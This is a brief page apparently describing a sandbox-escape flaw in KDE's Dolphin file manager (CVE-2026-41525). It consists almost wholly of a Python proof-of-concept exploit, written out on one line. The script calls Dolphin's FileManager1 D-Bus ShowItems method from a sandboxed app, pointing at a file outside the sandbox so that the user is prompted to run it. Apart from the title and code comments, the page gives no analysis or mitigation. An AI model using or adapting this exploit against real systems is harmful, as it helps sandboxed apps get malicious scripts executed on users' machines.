CVE-2026-41525 KDE Dolphin沙箱逃逸漏洞

# PoC for CVE-2026-41525: Dolphin FileManager1 Sandbox Bypass # This script simulates a malicious Flatpak app calling the D-Bus interface. import dbus def exploit_dolphin_sandbox_escape(target_file): # Connect to the session bus bus = dbus.SessionBus() # The object path and interface for Dolphin's FileManager1 dolphin_object = bus.get_object('org.freedesktop.FileManager1', '/org/freedesktop/FileManager1') file_manager_interface = dbus.Interface(dolphin_object, 'org.freedesktop.FileManager1') # Construct the URI pointing to a file outside the sandbox uri = f"file://{target_file}" try: # Call ShowItems method. This triggers Dolphin to prompt the user. file_manager_interface.ShowItems([uri], "") print(f"[+] Request sent to Dolphin to open: {uri}") print("[+] If user clicks 'Run', sandbox is bypassed.") except dbus.exceptions.DBusException as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: Attempting to open a script in the user's home directory exploit_dolphin_sandbox_escape("/home/user/malicious_script.sh")